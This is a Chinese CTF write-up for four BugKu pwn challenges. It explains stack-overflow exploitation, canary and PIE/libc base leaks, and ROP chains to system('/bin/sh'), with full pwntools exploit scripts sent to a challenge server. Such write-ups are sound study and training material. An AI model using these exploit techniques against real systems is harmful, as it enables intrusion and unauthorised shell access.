BugKu-PWN-WP

前言

整理BugKuCTF中PWN题WriteUp;

pwn1

一道与pwn无关的pwn题!

首先nc连接到服务器;根据题目描述,输入ls命令查看,发现flag文件;打开flag文件,内容即为flag;

pwn2

栈溢出ROP执行已有指令!

  1. 在ubuntu18.04下执行如下;

  2. checksec查看,发现无保护措施;

  3. 在IDA中分析,main()伪代码如下;

    分析有一个输入、两个输出,没有flag相关信息;


    其中:

    memset()函数被称为初始化内存的“万能函数”,通常为新申请的内存进行初始化工作。它是直接操作内存空间,mem即“内存”(memory)的意思。该函数的原型为:

    1
    2
    # include <string.h>
    void *memset(void *s, int c, unsigned long n);

    函数的功能是:将指针变量s所指向的前n字节的内存单元用一个“整数”c替换,注意c是int型。s是void*型的指针变量,所以它可以为任何类型的数据进行初始化。

    memset()的作用是在一段内存块中填充某个给定的值。因为它只能填充一个值,所以该函数的初始化为原始初始化,无法将变量初始化为程序中需要的数据。用memset()函数初始化完后,后面程序中再向该内存空间中存放需要的数据。


    此处memset()函数初始化变量s,长度为30h字节,用于后续通过read()函数将输入内容赋值给s,但是read()函数最多可以读取100h字节赋值给s,可能造成栈溢出;

  4. 在函数列表发现get_shell_()函数,查看伪代码;

    发现有cat flag操作,要得到flag,就需要执行get_shell_()函数;

  5. 利用read()函数进行栈溢出ROP执行get_shell_()函数,只需覆盖s和RBP指针,写入get_shell_()函数地址即可执行;

  6. 在IDA中获取get_shell_()函数的内存地址为 0x400751

  7. 构造payload='a'*0x30+'a'*0x8+p64(0x400751),具体payload.py如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    #! /usr/bin/python
    #-*-coding:utf-8-*-
    from pwn import *
    context(os='linux',arch='amd64',log_level='debug')
    p = process('./pwn2')
    get_shell_ = p64(0x400751)
    payload = 'a'*(0x30+0x8)+get_shell_
    p.sendline(payload)
    p.interactive()
  8. 执行payload,发现可以执行cat flag,但是本地文件中并无flag,需要远程执行;

  9. 重新构造payload如下;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    #! /usr/bin/python
    #-*-coding:utf-8-*-
    from pwn import *
    context(os='linux',arch='amd64')
    p = remote('114.67.246.176','15094')
    get_shell_ = p64(0x400751)
    payload = 'a'*(0x30+0x8)+get_shell_
    p.sendline(payload)
    p.interactive()
  10. 执行payload,拿到flag如下;

pwn3

护盾全开的栈溢出!

  1. checksec查看,保护全开;

  2. 在IDA中分析,核心函数vul()函数如下;

  3. 分析

    1. vul()函数,发现两个read()函数,即存在两个溢出点;第一个read()用于栈溢出,并且溢出长度自定义。在第一个read()栈溢出后,if检测到过长,第二次read()时,只需字符串长度小于624即可;
    2. 由于保护全开,因此需要多次溢出获取canary和基址;
    3. 每次溢出原理基本相同:程序每执行一次vul()函数会有两次read()操作,第一次read()后紧跟puts()puts()是通过\x00截断输出字符串,因此只需要第一次read()覆盖\x00然后用puts()溢出一个值,接着在第二个read中修改ret地址劫持流程跳转回main()函数用于恢复栈即可,通过多次调用vul函数来泄漏所有需要的值;
  4. 步骤

    1. 泄漏canary

      1. canary在rbp上面即var_8,根据canary最低位为\x00的特点,将其最低位覆盖,在之后puts打印出canary;

      2. 第二次输入绕过canary保护,PIE保护会导致程序的地址随机化,但是后三位是不会变的,例如第二次输入完后程序的返回地址main+e的后三位就是0xd2e,利用输入用20覆盖2e,程序就会再次运行main函数;

      3. 泄漏canary的payload如下;

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        # leak canary
        p.recvuntil("path:\n")
        p.sendline("flag")
        p.recvuntil("len:\n")
        p.sendline("1000")
        p.recvuntil("note:\n")
        p.sendline('a'*600)
        p.recvuntil('aaa\n')
        canary_addr=u64("\x00"+p.recv(7))
        log.success('canary:'+hex(canary_addr))
        p.recvuntil("(len is 624)\n")
        return_main = 'a'*600 + p64(canary_addr) + p64(0xdeadbeef) + '\x20'
        p.send(return_main)
    2. 泄漏基址

      1. main()函数通过call指令调用vul()函数,而call指令会将下一条指令的地址压栈,vul()函数执行完毕后,ret指令会将RIP指向call指令的后一条指令的地址,因此vul()函数的ret值相对于程序基址的偏移是0xD2E

      2. 泄漏基址的payload如下;

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        # leak base_elf
        p.recvuntil("path:\n")
        p.sendline("flag")
        p.recvuntil("len:\n")
        p.sendline("1000")
        p.recvuntil("note:\n")
        p.sendline('a'*(600+8+7))
        p.recvuntil('aaa\n')
        base_elf = u64(p.recv(6)+"\x00\x00") - 0xD2E
        log.success('elf:'+hex(base_elf))
        p.recvuntil("(len is 624)\n")
        p.send(return_main)
    3. 泄漏libc基址

      1. 借助base_elf调用read()函数输出read()函数的真实地址,由于read函数是libc函数,减去其偏移即可得到libc基址,偏移地址为0x0F7250

      2. 泄漏libc基址的payload如下;

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        # leak libc
        p.recvuntil("path:\n")
        libc=ELF('./read_note')
        puts_plt = libc.plt['puts']
        read_got = libc.got['read']
        pop_rdi = 0xE03

        p.recvuntil("path:\n")
        p.sendline("flag")
        p.recvuntil("len:\n")
        p.sendline("1000")
        p.recvuntil("note:\n")
        main_addr = base_elf + 0xD20
        payload1 = 'a'*600 + p64(canary_addr) + p64(0xdeadbeef) + p64(pop_rdi+base_elf) + p64(read_got+base_elf) + p64(puts_plt+base_elf) + p64(main_addr)
        p.sendline(payload1)
        p.recvuntil(")\n")
        payload2 = 'a'*600 + p64(canary_addr) + p64(0xdeadbeef) + p64(pop_rdi+base_elf)
        p.send(payload2)
        read_addr = u64(p.recv(6)+"\x00\x00")
        libc_addr = read_addr-0x0F7250
        log.success('libc:'+hex(libc_addr))
    4. getShell

      1. 修改返回地址为/bin/sh的地址,即可getshell,其中/bin/sh相对于libc基址的偏移地址设为0xF1147,此处涉及到one_gadget工具;

      2. getShell的payload如下;

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        # get shell
        p.recvuntil("path:\n")
        p.sendline("flag")
        p.recvuntil("len:\n")
        p.sendline("1000")
        p.recvuntil("note:\n")
        p.sendline('a'*600)
        p.recvuntil("(len is 624)\n")
        payload3 = 'a'*600 + p64(canary_addr) + p64(0xdeadbeef) + p64(libc_addr+0xF1147)
        p.send(payload3)
        p.interactive()
  5. 最终payload如下;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    from pwn import *

    p = remote("114.67.246.176", 15482)
    #p = process('./read_note')

    libc=ELF('./read_note')
    puts_plt = libc.plt['puts']
    read_got = libc.got['read']
    pop_rdi = 0xE03

    # leak canary
    p.recvuntil("path:\n")
    p.sendline("flag")
    p.recvuntil("len:\n")
    p.sendline("1000")
    p.recvuntil("note:\n")
    p.sendline('a'*600)
    p.recvuntil('aaa\n')
    canary_addr=u64("\x00"+p.recv(7))
    log.success('canary:'+hex(canary_addr))
    p.recvuntil("(len is 624)\n")
    return_main = 'a'*600 + p64(canary_addr) + p64(0xdeadbeef) + '\x20'
    p.send(return_main)

    # leak base_elf
    p.recvuntil("path:\n")
    p.sendline("flag")
    p.recvuntil("len:\n")
    p.sendline("1000")
    p.recvuntil("note:\n")
    p.sendline('a'*(600+8+7))
    p.recvuntil('aaa\n')
    base_elf = u64(p.recv(6)+"\x00\x00") - 0xD2E
    log.success('elf:'+hex(base_elf))
    p.recvuntil("(len is 624)\n")
    p.send(return_main)

    # leak libc
    p.recvuntil("path:\n")
    p.sendline("flag")
    p.recvuntil("len:\n")
    p.sendline("1000")
    p.recvuntil("note:\n")
    main_addr = base_elf + 0xD20
    payload1 = 'a'*600 + p64(canary_addr) + p64(0xdeadbeef) + p64(pop_rdi+base_elf) + p64(read_got+base_elf) + p64(puts_plt+base_elf) + p64(main_addr)
    p.sendline(payload1)
    p.recvuntil(")\n")
    payload2 = 'a'*600 + p64(canary_addr) + p64(0xdeadbeef) + p64(pop_rdi+base_elf)
    p.send(payload2)
    read_addr = u64(p.recv(6)+"\x00\x00")
    libc_addr = read_addr-0x0F7250
    log.success('libc:'+hex(libc_addr))

    # get shell
    p.recvuntil("path:\n")
    p.sendline("flag")
    p.recvuntil("len:\n")
    p.sendline("1000")
    p.recvuntil("note:\n")
    p.sendline('a'*600)
    p.recvuntil("(len is 624)\n")
    payload3 = 'a'*600 + p64(canary_addr) + p64(0xdeadbeef) + p64(libc_addr+0xF1147)
    p.send(payload3)
    p.interactive()
  6. 执行payload,成功getshell;

pwn4

  1. checksec查看,开启了canary和NX保护;

  2. 放入IDA中分析;

    1. main()函数

    2. hint()函数

    3. 分析

      1. main()函数两次read操作读取的空间大于写入的空间,可以泄漏内存;
      2. 由于开启了canary保护,要泄漏canary;
      3. hint()函数中存在system调用,可以利用其执行system('/bin/sh')
  3. 步骤

    1. 泄漏canary

      1. canary在rbp上面即var_8,根据canary最低位为\x00的特点,将其最低位覆盖,在之后puts打印出canary;

      2. payload如下

        1
        2
        3
        4
        5
        6
        # leak canary
        p.recvuntil("Please leave your name(Within 36 Length):")
        p.send('a'*(0x240-0x08)+'b')
        p.recvuntil('a'*(0x241-0x08)+'b')
        canary_addr=u64("\x00"+p.recv(7))
        log.success('canary:'+hex(canary_addr))
    2. getshell

      1. 获取system的plt,binsh的got,以及pop rdi;ret位置:ROPgadget --binary ./pwn4 | grep "pop rdi ; ret"

      2. 利用第二个read覆盖返回地址,跳转到执行system(/bin/sh)

      3. payload如下;

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        elf = ELF('./pwn4')
        system_plt = elf.plt['system']
        log.success('system_plt:'+hex(system_plt))
        binsh_got = elf.search("/bin/sh\x00").next()
        log.success('binsh_got:'+hex(binsh_got))
        pop_rdi_ret = 0x0000000000400963

        p.recvuntil("Please leave a message(Within 0x200 Length):")
        payload = 'a'*(0x210-8) + p64(canary_addr) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(binsh_got) + p64(system_plt)
        p.sendline(payload)
        p.interactive()
  4. 最终payload如下;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    from pwn import *
    p = remote('114.67.246.176',13645)
    # p = process('./pwn4')
    # context.log_level = 'debug'

    # leak canary
    p.recvuntil("Please leave your name(Within 36 Length):")
    p.send('a'*(0x241-0x08))
    p.recvuntil('a'*(0x241-0x08))
    canary_addr=u64("\x00"+p.recv(7))
    log.success('canary:'+hex(canary_addr))

    elf = ELF('./pwn4')
    system_plt = elf.plt['system']
    log.success('system_plt:'+hex(system_plt))
    binsh_got = elf.search("/bin/sh\x00").next()
    log.success('binsh_got:'+hex(binsh_got))
    pop_rdi_ret = 0x0000000000400963

    p.recvuntil("Please leave a message(Within 0x200 Length):")
    payload = 'a'*(0x210-8) + p64(canary_addr) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(binsh_got) + p64(system_plt)
    p.sendline(payload)
    p.interactive()
  5. 执行payload,成功getshell;